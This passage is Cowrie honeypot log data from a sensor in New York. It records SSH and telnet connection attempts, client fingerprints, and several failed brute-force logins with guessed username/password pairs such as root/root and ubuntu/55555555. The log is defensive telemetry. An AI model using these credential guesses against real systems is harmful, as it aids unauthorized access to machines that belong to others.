-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:53.004942Z","src_ip":"198.235.24.230","session":"5bdf880faa3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:01.374799Z","src_ip":"198.235.24.230","session":"5bdf880faa3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:11.376119Z","src_ip":"47.239.15.75","session":"2b1d14fd3dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"95.2","message":"Connection lost after 95.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:16.702206Z","src_ip":"47.239.15.75","session":"2b1d14fd3dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38440,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a6258a8d384","protocol":"telnet","message":"New connection: 45.58.127.90:38440 (10.17.0.5:23) [session: 0a6258a8d384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:18.387642Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":34622,"dst_ip":"159.203.135.109","dst_port":22,"session":"77da71403498","protocol":"ssh","message":"New connection: 103.88.76.27:34622 (159.203.135.109:22) [session: 77da71403498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:22.460681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:22.466249Z","src_ip":"103.88.76.27","session":"77da71403498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:22.701074Z","src_ip":"103.88.76.27","session":"77da71403498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin21","message":"login attempt [root/admin21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:23.672888Z","src_ip":"103.88.76.27","session":"77da71403498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:24.910422Z","src_ip":"103.88.76.27","session":"77da71403498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":40614,"dst_ip":"159.203.135.109","dst_port":22,"session":"d995b633e9c6","protocol":"ssh","message":"New connection: 202.125.94.71:40614 (159.203.135.109:22) [session: d995b633e9c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:37.255557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:37.260510Z","src_ip":"202.125.94.71","session":"d995b633e9c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:37.523892Z","src_ip":"202.125.94.71","session":"d995b633e9c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraftserver","message":"login attempt [root/minecraftserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:38.605906Z","src_ip":"202.125.94.71","session":"d995b633e9c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:39.871572Z","src_ip":"202.125.94.71","session":"d995b633e9c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49298,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d086a5fe9f1","protocol":"telnet","message":"New connection: 45.58.127.90:49298 (10.17.0.5:23) [session: 2d086a5fe9f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:42.068477Z"}
{"eventid":"cowrie.session.closed","duration":40.478471517562866,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:24:58.866008Z","src_ip":"45.58.127.90","session":"0a6258a8d384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":46808,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b9c527ada86","protocol":"ssh","message":"New connection: 103.88.76.27:46808 (159.203.135.109:22) [session: 8b9c527ada86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:21.209750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:21.215462Z","src_ip":"103.88.76.27","session":"8b9c527ada86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:21.462671Z","src_ip":"103.88.76.27","session":"8b9c527ada86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"12345","message":"login attempt [csgoserver/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:22.480380Z","src_ip":"103.88.76.27","session":"8b9c527ada86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:23.733836Z","src_ip":"103.88.76.27","session":"8b9c527ada86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.25049424171448,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:25.318865Z","src_ip":"45.58.127.90","session":"2d086a5fe9f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":33694,"dst_ip":"159.203.135.109","dst_port":22,"session":"681bd5d7888f","protocol":"ssh","message":"New connection: 202.125.94.71:33694 (159.203.135.109:22) [session: 681bd5d7888f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:37.420522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:37.425200Z","src_ip":"202.125.94.71","session":"681bd5d7888f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:37.695876Z","src_ip":"202.125.94.71","session":"681bd5d7888f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin21","message":"login attempt [root/admin21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:38.783061Z","src_ip":"202.125.94.71","session":"681bd5d7888f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.236","src_port":59408,"dst_ip":"159.203.135.109","dst_port":22,"session":"353acb28028f","protocol":"ssh","message":"New connection: 198.235.24.236:59408 (159.203.135.109:22) [session: 353acb28028f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:40.046159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:40.050423Z","src_ip":"198.235.24.236","session":"353acb28028f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:40.055306Z","src_ip":"202.125.94.71","session":"681bd5d7888f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:40.582048Z","src_ip":"198.235.24.236","session":"353acb28028f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:25:48.785731Z","src_ip":"198.235.24.236","session":"353acb28028f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":54190,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bad3792ecac","protocol":"ssh","message":"New connection: 103.88.76.27:54190 (159.203.135.109:22) [session: 7bad3792ecac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:26:15.468693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:26:15.474147Z","src_ip":"103.88.76.27","session":"7bad3792ecac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:26:15.712034Z","src_ip":"103.88.76.27","session":"7bad3792ecac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"55555555","message":"login attempt [ubuntu/55555555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:26:16.692819Z","src_ip":"103.88.76.27","session":"7bad3792ecac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:26:17.933191Z","src_ip":"103.88.76.27","session":"7bad3792ecac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":54892,"dst_ip":"159.203.135.109","dst_port":22,"session":"32d9c0286012","protocol":"ssh","message":"New connection: 202.125.94.71:54892 (159.203.135.109:22) [session: 32d9c0286012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:26:34.448037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:26:34.452626Z","src_ip":"202.125.94.71","session":"32d9c0286012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:26:34.716375Z","src_ip":"202.125.94.71","session":"32d9c0286012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qweqwe123","message":"login attempt [user/qweqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:26:35.800881Z","src_ip":"202.125.94.71","session":"32d9c0286012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:26:37.069936Z","src_ip":"202.125.94.71","session":"32d9c0286012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53934,"dst_ip":"159.203.135.109","dst_port":23,"session":"d508eacef767","protocol":"telnet","message":"New connection: 135.148.33.91:53934 (159.203.135.109:23) [session: d508eacef767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:26:54.351505Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":34486,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e982e5394b1","protocol":"ssh","message":"New connection: 103.88.76.27:34486 (159.203.135.109:22) [session: 9e982e5394b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:27:09.424554Z"}
